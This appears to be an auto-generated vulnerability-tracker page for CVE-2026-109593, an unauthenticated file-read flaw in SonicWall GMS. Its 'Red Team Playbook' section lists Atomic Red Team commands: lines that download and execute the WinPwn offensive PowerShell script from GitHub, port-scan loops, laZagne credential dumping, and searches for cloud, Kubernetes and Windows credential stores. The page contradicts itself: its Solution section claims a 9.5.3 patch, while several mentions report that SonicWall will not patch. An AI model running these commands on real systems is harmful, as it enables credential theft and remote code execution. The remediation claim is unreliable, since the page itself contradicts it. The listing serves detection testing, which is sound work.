CVE-2026-109593
Overview
This vulnerability is an unauthorized file disclosure caused by improper access control in SonicWall Global Management System (GMS) versions 9.5.2 and earlier. The root cause lies in the failure to restrict unauthenticated network requests to internal GMS file resources. The affected component is the file access mechanism within the GMS management interface, which does not adequately validate requester privileges before serving sensitive internal files.
Vulnerability Description
An unauthenticated attacker with network access to the SonicWall GMS 9.5.2 and earlier versions may be able to read internal GMS files, potentially exposing sensitive information.
Impact
An unauthenticated attacker can retrieve sensitive internal files from SonicWall GMS, potentially disclosing configuration data or credentials stored within those files. This exposure can facilitate further attacks such as network reconnaissance or lateral movement within the environment. No authentication or user interaction is needed, making exploitation straightforward for any attacker with network access to the management system. The business consequence includes data breach risks and potential compromise of network security posture.
Solution
SonicWall has released patches addressing this vulnerability in GMS version 9.5.3 and later, as detailed in advisory SNWLID-2026-0019 available at https://psirt.global.sonicwall.com/vuln-detail/SNWLID-2026-0019. Users should upgrade SonicWall Global Management System to version 9.5.3 or apply vendor-provided mitigations outlined in the advisory to restrict unauthorized file access.
EPSS vs KEV Prediction — Evolution (30 days)
Affected Products
No CPE information available.
Exploits
No exploits found for this CVE.
Threat Feed
3 eventsSighting activity recorded
Sighting activity recorded
Sighting activity recorded
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns
No CAPEC pattern mapped to this CVE.
Red Team Playbook
49 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
docker build -t t1046 $PathToAtomicsFolder/T1046/src/
docker run --name t1046_container --rm -d -t t1046
docker exec t1046_container /scan.sh
for port in {1..65535}; do (2>/dev/null echo >/dev/tcp/#{host}/$port) && echo port $port is open ; done
nmap #{host_to_scan}
sudo nmap -sS #{network_range} -p #{port}
telnet #{host} #{port}
nc -nv #{host} #{port}
nmap -Pn -sV -p #{port_range} #{host}
python "#{filename}" -i #{host_ip}
$ipAddr = "#{ip_address}"
if ($ipAddr -like "*,*") {
$ip_list = $ipAddr -split ","
$ip_list = $ip_list.ForEach({ $_.Trim() })
Write-Host "[i] IP Address List: $ip_list"
$ports = #{port_list}
foreach ($ip in $ip_list) {
foreach ($port in $ports) {
Write-Host "[i] Establishing connection to: $ip : $port"
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} elseif ($ipAddr -notlike "*,*") {
if ($ipAddr -eq "") {
# Assumes the "primary" interface is shown at the top
$interface = Get-NetIPInterface -AddressFamily IPv4 -ConnectionState Connected | Select-Object -ExpandProperty InterfaceAlias -First 1
Write-Host "[i] Using Interface $interface"
$ipAddr = Get-NetIPAddress -AddressFamily IPv4 -InterfaceAlias $interface | Select-Object -ExpandProperty IPAddress
}
Write-Host "[i] Base IP-Address for Subnet: $ipAddr"
$subnetSubstring = $ipAddr.Substring(0, $ipAddr.LastIndexOf('.') + 1)
# Always assumes /24 subnet
Write-Host "[i] Assuming /24 subnet. scanning $subnetSubstring'1' to $subnetSubstring'254'"
$ports = #{port_list}
$subnetIPs = 1..254 | ForEach-Object { "$subnetSubstring$_" }
foreach ($ip in $subnetIPs) {
foreach ($port in $ports) {
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} else {
Write-Host "[Error] Invalid Inputs"
exit 1
}
Get-Service -Name "Remote Desktop Services", "Remote Desktop Configuration"
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
MS17-10 -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
bluekeep -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
fruit -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
spoolvulnscan -noninteractive -consoleoutput
& "#{rustscan_path}" -a #{host_to_scan} --greppable -p #{port_list}
Start-Process -FilePath "#{autoit_path}" -ArgumentList "#{script_path}"
echo "Creating %systemroot%\wpbbin.exe"
New-Item -ItemType File -Path "$env:SystemRoot\System32\wpbbin.exe"
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
for pid in $(pgrep -f 'Runner.Worker|Runner.Listener|runsvc|run.sh' 2>/dev/null); do tr '\0' '\n' < /proc/$pid/environ 2>/dev/null | grep -iE 'env|ssh'; done
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path} -maxdepth 6 -name "#{filename}" -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.aws/#{filename}' -type f 2>/dev/null
find #{file_path} -path '*/.azure/#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.docker/#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.config/gcloud/#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find /root -path '*/.kube/config' -type f #{optional_flags} 2>/dev/null
find /etc/kubernetes -name '*.conf' -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.kube/config' -type f #{optional_flags} 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for filename in #{filenames}; do find #{file_path} -name "$filename" -type f #{optional_flags} 2>/dev/null; done
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
for filename in #{filenames}; do
find #{file_path} -name "$filename" -type f #{optional_flags} 2>/dev/null
done
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find /etc/mysql -name 'my.cnf' -type f #{optional_flags} 2>/dev/null
find /etc/redis -name 'redis.conf' -type f #{optional_flags} 2>/dev/null
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
News (1)
Mentions (24)
24 mentions from 14 sources in the last 7 days BuzzFactor 81 / 100
-
social bsky.app @alienrick.xyz 2026-11-05 12:37 UTCEnd of life. End of patches. Same sentence, Earth. SonicWall GMS 9.5.2 and earlier: CVE-2026-109593, unauthenticated file read over the network. CVSS 9.1. Fix? Migrate to NSM, they said. Your firewall farm's babysitter is a museum exhibit…Open source
-
news securityweek.com 2026-11-05 12:33 UTCCisco, WatchGuard Release Patches; SonicWall Won’t Fix GMS Flaws - SecurityWeekOpen source
-
advisory socradar.io 2026-11-05 09:45 UTCSonicWall GMS Flaws Unpatched After End of Life - SOCRadarOpen source
-
social bsky.app @cybowl.bsky.social 2026-11-05 08:48 UTCVulnérabilités critiques (CVSS ≥ 9) · 2 • Foglight for Databases (Quest) (CVE-2026-92190), CVSS 9.8 (CERT-FR) • SonicWall Global Management System (GMS) (CVE-2026-109593), CVSS 9.1 (CERT-FR)Open source
-
social bsky.app @axnews.bsky.social 2026-11-05 07:32 UTC🛡️ The CVEs that mattered · Wednesday 4 November 1. CVE-2026-111497 · Critical 9.2 · exploited — Google Brotli 2. CVE-2026-119977 · High 8.1 · exploited — WordPress Core 3. CVE-2026-109593 · Critical 9.1 — SonicWall Won't Patch EoL GMS Fla…Open source
-
social infosec.exchange @117509315927375519 2026-11-05 07:32 UTC🛡️ The CVEs that mattered · Wednesday 4 November 1. CVE-2026-111497 · Critical 9.2 · exploited — Google Brotli 2. CVE-2026-119977 · High 8.1 · exploited — WordPress Core 3. CVE-2026-109593 · Critical 9.1 — SonicWall Won't Patch EoL GMS Fla…Open source
-
social bsky.app @kitafox.bsky.social 2026-11-05 01:51 UTCSonicWall GMSの重大な未修正脆弱性が明らかに #SecurityOnline (N/A) securityonline.info/sonicwall-gm...Open source
-
news scworld.com 2026-11-05 01:19 UTCSonicWall warns of unpatched vulnerabilities in end-of-life management software - SC MediaOpen source
-
social mastodon.social @hacksgr 2026-11-04 20:09 UTCSonicWall has warned of two vulnerabilities impacting end-of-life Global Management System (GMS) version 9.5.2 and earlier. SonicWall stated no patches or updates will be released as the product has reached EoL. Affected: CVE-2026-109593 (…Open source
-
social infosec.exchange @edwardk 2026-11-04 19:06 UTCSonicWall Won’t Patch EoL GMS Flaws That Could Expose Files, Alter Database Records SonicWall has warned of two vulnerabilities in its end-of-life Global Management System that it will not patch, The Hacker News reports. They include CVE-2…Open source
-
social bsky.app @axnews.bsky.social 2026-11-04 18:32 UTC🚨 Breaking: CVE-2026-109593 — Critical 9.1 over the network · no login https://ax-news.com/cve/CVE-2026-109593 #CVE #infosecOpen source
-
social infosec.exchange @117509315927375519 2026-11-04 18:32 UTC🚨 Breaking: CVE-2026-109593 — Critical 9.1 over the network · no login https:// ax-news.com/cve/CVE-2026-109593 # CVE # infosecOpen source
-
social bsky.app @eventmonitor.bsky.social 2026-11-04 18:00 UTCDeveloping: Critical Vulnerability (CVE-2026-109593) https://cyber.eventmonitor.net/incident/EM-20261104-6KKL/ #news #cybersecurityOpen source
-
social bsky.app @windowsforum.com 2026-11-04 18:00 UTCNIKKE launcher CDN breach delivered K2F backdoor; Teams AI phishing scans default on; VS Code 1.145 adds files.exclude exceptions; SonicWall GMS CVE-2026-109593/109594 won't be patched; Start11 v3 previews widgets. +25 more storiesOpen source
-
social bsky.app @thehackernews.com.web.brid.gy 2026-11-04 17:00 UTCOpen source
-
news thehackernews.com 2026-11-04 17:00 UTCSonicWall Won't Patch EoL GMS Flaws That Could Expose Files, Alter Database Records - The Hacker NewsOpen source
-
social infosec.exchange @cyberseckyle 2026-11-04 15:45 UTCSonicWall's Nov 3 advisory covers two flaws in EOL GMS 9.5.2 and earlier: unauthenticated file read (CVE-2026-109593) and authenticated SQL injection (CVE-2026-109594). No patch is planned. Inventory legacy GMS, restrict management access…Open source
-
news bleepingcomputer.com 2026-11-04 14:42 UTCSonicWall warns of unpatched flaws in end-of-life GMS software - BleepingComputerOpen source
-
social infosec.exchange @116797276219291526 2026-11-03 23:38 UTCThe SonicWall GMS vulnerabilities patch notice details two critical SonicWall GMS vulnerabilities. Migrate EOL systems to Network Security Manager now. # SonicWall # SonicWallGMS # CVE2026109593 # CVE2026109594 # NetworkSecurity # Cybersec…Open source
-
social bsky.app @postac001.bsky.social 2026-11-03 23:14 UTCSonicWall GMS 9.5.2以前のバージョンで、認証されていない攻撃者がネットワーク経由で内部ファイルを読み取り、機密情報が漏洩する可能性がある。 CVE-2026-109593 CVSS 9.1 | CRITICALOpen source
-
social bsky.app @stackflag.bsky.social 2026-11-03 18:10 UTCCVE-2026-109593 - global management system (gms) If someone on the same network can reach SonicWall Global Management System version 9.5.2 or older, they may be able to open and read files stored inside the system.… Too many irrelevant or…Open source
-
social bsky.app @stemshop.bsky.social 2026-11-03 18:07 UTC🚨 CVE-2026-109593 — CVSS 9.1 CRITICAL An unauthenticated attacker with network access to the SonicWall GMS 9.5.2 and earlier versions may be able... 🔎 https://stemshop.top/cve/CVE-2026-109593 #CVE #CyberSecurity #InfoSecOpen source
-
social bsky.app @cvesentinel.bsky.social 2026-11-03 17:24 UTC🚨 CVE-2026-109593 CVSS 9.1 / EPSS 0.52% / KEV: No TL;DR: An unauthenticated attacker with network access to the SonicWall GMS 9.5.2 and earlier versions may be able to read internal GMS files, potentially exposing… https://cvesentinel.com/…Open source
-
news threatsensor.csurface.io 2026-11-03 16:25 UTCSonicWall GMS Vulnerability CVE-2026-109593 Exposes Sensitive FilesOpen source
References (2)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2026-109593 |
| psirt.global.sonicwall.com |
GitHub CVE
vendor-advisory
|
https://psirt.global.sonicwall.com/vuln-detail/SNWLID-2026-0019 |